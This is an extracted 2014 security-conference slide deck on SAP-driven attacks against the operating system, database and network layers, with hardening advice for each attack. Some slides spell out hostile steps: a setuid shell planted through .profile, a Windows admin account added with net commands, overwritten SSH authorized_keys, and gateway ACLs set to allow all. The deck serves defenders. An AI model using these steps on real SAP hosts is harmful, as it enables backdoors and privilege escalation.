drilling down deeper sap driven attacks against the ... · pdf filedrilling down deeper sap...

“SAP Security 2014 – protecting Your SAP Systems Against Hackers And Industrial Espionage” Drilling down deeper … SAP driven attacks against the operating system, database and network layer Ralf Kempf Akquinet AG

17.03.2014 Copyright © 2014– akquinet AG 1

SAP Systems are becoming more attractive targets

Oil drilling is dangerous And what about drilling into SAP Systems ?

17.03.2014 Copyright © 2014– akquinet AG 3

This can be very dangerous for companies !

17.03.2014 4

//upload.wikimedia.org/wikipedia/commons/7/79/Operation_Upshot-Knothole_-_Badger_001.jpg

Agenda

5 17.03.2014

Technological background and exposures

Attacks vs. database layer

Attacks vs. operating system layer

Agenda

How to protect your systems

Copyright © 2014– akquinet AG

Typical access possibilities to most SAP system

6 17.03.2014 Copyright © 2014– akquinet AG

Operating System

Unix / Windows / AS400

Database SAP Kernel

ABAP Application Layer

SAPGUI HTTP RFC

SSH/Telnet

SQL*Net etc

DIAG HTTP RFC

DB User / PW

OS User / PW

SIDadm / SAPServiceSID

SAP User

GW

Will firewalls help to protect access?


Operating System


Database SAP Kernel


SAPGUI HTTP RFC

SSH/Telnet

SQL*Net etc

DIAG HTTP RFC

DB User / PW

OS User / PW

SAP User

GW

http://pfsensesetup.com/wp-content/uploads/2013/11/77-Free-Clipart-Illustration-Of-A-Computer-Firewall.jpg


Not really, because users can access OS/DB via SAP


Operating System


Database SAP Kernel


SAPGUI HTTP RFC

SSH/Telnet

SQL*Net etc

DIAG HTTP RFC

DB User / PW

OS User / PW

SAP User

GW



What are the biggest SAP design flaws ?

• The SAP kernel executables are running under SIDadm/SAPServiceSID. • The kernel has read/write permissions to the security environment of the system and

the system administrator SIDadm/SAPServiceSID. • If a SAP user could access files on Unix/Windows level security measures could be

circumvented. • During our security audits and pen tests in 2013 almost 100% of all SAP systems had

at least on severe security hole allowing OS/DB access from the PC network using classical SAP access protocols.

• The time from “start drilling” to “mission accomplished” was typically < 30 minutes ! • Reasons:

• Open SAP Gateways

• Unproteced Unix/Windows User files

• Unproteced SAP system parameters

• Wide access permissions

• Etc. etc etc.


Agenda

10 17.03.2014




Agenda



My preffered drilling tools

• My own demo SAP system on my notebook • A development system with development access • SAP access on customer systems with SE16/SA38/SE38/SM36/SM49 etc. • Internet Explorer / Notepad / CMD.exe / Unix Shell / Xserver / Putty • ABAPs like:

• RS_REPAIR_SOURCE

• RSATUP and RSATDOWN

• Functions like

• SWY_INSERT_REPORT

• RK_REPORT_INSERT

• RSAA_ROUTINE_MAINTAIN

• DMC_GENERATE_ACPLAN_DELIMITER

• SUBST_GET_FILE_LIST

• Tcodes like

• AL11

• CG3Y und CG3Z

• N2UX


Attack #1: Override SIDADM SSH Keys from SAP

• In typical Unix environments telnet access is blocked and SSH access is allowed. • SSH can be used in combination with RSA public/private keys. • SSH public keys for SIDADM are stored in $HOME/.ssh/authorized_keys or

authorized_keys2 to allow password-free ssh access for administrators. • The ABAP layer does allow read/write access to all files in $HOME/sidadm ! • An attacker can overwrite existing ssh keys with his own key set to gain password-

free access to Unix (or he can just create a new authorized_key file !) • If the attacker saves the old authorized_key file the attack may not be deteced ! • Exploit is already available !

• How to protect:

• Create a root owned authorized_key file !

• Do not allow direct ssh access to sidadm

• Use su/sudo to switch user !


Attack #2: Overwrite secinfo / rfcexec.sec etc.

• The SAP gateway can be protected by secinfo/reginfo/proxyinfo ACL files • RFCEXEC and SAPXPG can be proteced by additional ACL files • More than 75 % of all customer systems are not yet proteced against gateway attacks ! • An attacker may overwrite the ACL files with „ALLOW ALL“ settings to deactivate

security controls on the RFC and gateway level. • Exploit is already available !

• How to protect:

• Set owner of all ACL and system parameter files to root / administrator !

• Do not allow any changes to system files by the SAP system itself !

• Do not allow access to SA38 / SE37 etc to any user.

• Read and apply OSS Note 1505368, 1949906

• Check Security Guide “Secure Configuration of SAP NetWeaver® Application Server Using ABAP”


http://www.sdn.sap.com/irj/scn/go/portal/prtroot/docs/library/uuid/f0d2445f-509d-2d10-6fa7-9d3608950fee?overridelayout=true

http://www.sdn.sap.com/irj/scn/go/portal/prtroot/docs/library/uuid/f0d2445f-509d-2d10-6fa7-9d3608950fee?overridelayout=true

Attack #3: Changes to the .profile /.cshrc files

• During Unix login shell files like .profile and .cshrc are executed. • The SAP system has read / write permission to all files in the SIDADM HOME Directory. • So… what about adding some nice lines to .profile ?? • Lines like:

• cp /bin/sh /tmp/.runme

• chmod a+x /tmp/.runme

• chmod a+s /tmp/.runme

• If the sidadm logs in the next time with a shell account you will have a nice SETUID

SIDADM Shell in .runme ! OK ….. old fashioned hack but VERY effective ! • For windows the attacker can created CMD files in the AUTOSTART folder etc. • How to perform the hack: Just use upload / download or OPEN DATASET / Transfer

• How to protect:

• Set owner of all sidadm HOME Files to root.

• Do not allow any changes to files in SIDADM HOME by the SAP system itself !

• Do not allow access to SA38 / SE37 etc. to any user.


Attack #4: AS400 is a little bit strange but effective

• ABAP commands like CALL SYSTEM, OPEN DATASET FILTER and CALL FUNCTION SXPG*** are considered harmful because a developer may start commands directly on OS level.

• So hopefully a customer is doing code scans and is preventing such ABAPs from being developed at all.

• But what about EXEC SQL. ENDEXEC. Can we start OS commands with SQL ? • Yes we can. At least on AS400 ! • During my practical ABAP works during the last years I found ABAP customer code

like this: • EXEC SQL.

• CALL <CL Command>.

• ENDEXEC.

• Strange, but on AS400 you can submit CL OS commands using EXEC SQL in ABAP !


Attack #5: Windows 2008 is more secure ?

• What about SAP security on Windows? Does Windows provide more security ? • No because 1/3 of all Windows based SAP systems are running SapServiceSID as the

administrator account.

• Attack 1: Execute a cmd via Gateway / Batch / SM49 (Needs admin privilege)

• net user TEST123 Test123abc!

• net localgroup administrators TEST123 /add

• Attack 2: Create a public share on PC / mount on Windows Server / Execute script (without admin privilege)

• net use Z:\<my Ip>\ftp test /persistent:YES

• Copy <my sap instance profile> <sap instance profile>

• How to protect:

• Never assign windows admin privileges to SAPServiceSID

• Use a firewall to restrict connections from SAP on Windows to other Windows machines


Agenda

18 17.03.2014




Agenda



What are the biggest SAP design flaws ?

• By default SAP database are not proteced on the network level against unauthorized access.

• The SAP kernel has “password-free” access to the SAP database. • In many SAP environments the SIDadm can act as sysdba on DB level. • Database access passwords credentials can be read from the SAP kernel and ABAP

layer (MaxDB xuser files, new oracle password safe etc.) • If a user could start SQL scripts or R3trans all SAP data can be manipulated.


Attack #6: R3trans the Swiss Army Knife

• The tool R3trans allows direct database connections for transport purposes. • Authentication is similar to the kernel DB logon procedure. Most often OPS$, XUSER

or other procedures are used. • What does an attacker need to use R3trans as a generic DB access tool:

• Knowledge of the DB type and Ip address / Port

• A copy of the DB logon credentials (Xuser file /Secure Store Connect files etc.)

• A local environment prepared with all variables similar to the SAP Server

• Create a start script for R3trans with a control file

• E.g: http://securitytracker.com/id/1004178

• How to protect:

• Apply all database security patches in time.

• Never assign the SIDadm / SAPServiceSID to DBA/SYSDBA groups.

• Restrict access to the DB layer on IP address level.

• OPS$ is depreciated as of Oracle 11.2. Switch over to Secure Store Connect

• For Oracle read: http://www.sdn.sap.com/irj/scn/go/portal/prtroot/docs/library/uuid/9e626b1c-0d01-0010-b2ba-cfa2443c1cce?overridelayout=true


Attack #7: REMOTE_OS_AUTHENTIFICATION and Oracle

• The standard Oracle Parameter REMOTE_OS_AUTHENT = TRUE on SAP machines ! • REMOTE_OS_AUTHENT is considered a severe security risk and is not allowed on

Oracle databases with critical data. • If REMOTE_OS_AUTHENT = TRUE on Unix the local SAP database accepts all SQL*NET

connections where the remote Unix UserID = Local Unix User ID of a user or not. • It is very easy to set up a Linux box with Oracle and to create a local userid with UID =

UID of SAP SIDADM. • The UID of SIDADM is very predictable. Mostly >200 < 300. An attacker may use AL11

to look up the matching user id in /etc/passwd.

• How to protect:

• Do not use REMOTE_OS_AUTHENT = TRUE.

• Limit DB access on IP level (access only for local SAP application servers).

• Read the latest Oracle Database hardening guide !

• Switching to the Oracle Secure Store Connect is the right approach to avoid such attacks.


Attack #8: Using DBCON entries to access local or remote databases

• Table DBCON contains DB connect information for multi database connects and transaction DBA_COCKPIT.

• This table very often contains critical database connect information on SolMan system.

• Usually DBA accounts or the connect user for the SAP DB schema are used along with stored access credentials.

• SAP has been noticed by akquinet about this issue. Fix not yet released !

• Exploit is already available !

• Exploit Information will be released after SAP has supplied a solution !

• How to protect:

• Do not use DBA or SAP schema users for SAP DB monitoring connections.

• Never allow any ABAP development on Solution Manager Systems or SAP systems with DB connect entries in DBCON.

• Read and apply SAP Security Note #1638280 and #1823566


Agenda

24 17.03.2014




Agenda




• Be very, very paranoid about security • Update your system landscape and connection documentation. • Harden your operating system.

• Protect all security relevant $HOME and SAP files on OS level

• Create audit trails on critical files

• Limit network access • Harden your database

• Limit user access

• Restrict network access

• Enable database audit trails

• Harden your SAP Kernel, config files, Gateway and RFC Layer

• Restrict database permissions for SolMan DB monitoring user

• Restrict SAP authorizations .

• Perform regular security audits and penetration tests.

• Read and apply SAP Security notes, and OS and DB vendor security notes.


drilling down deeper sap driven attacks against the ... · pdf filedrilling down deeper sap...

Documents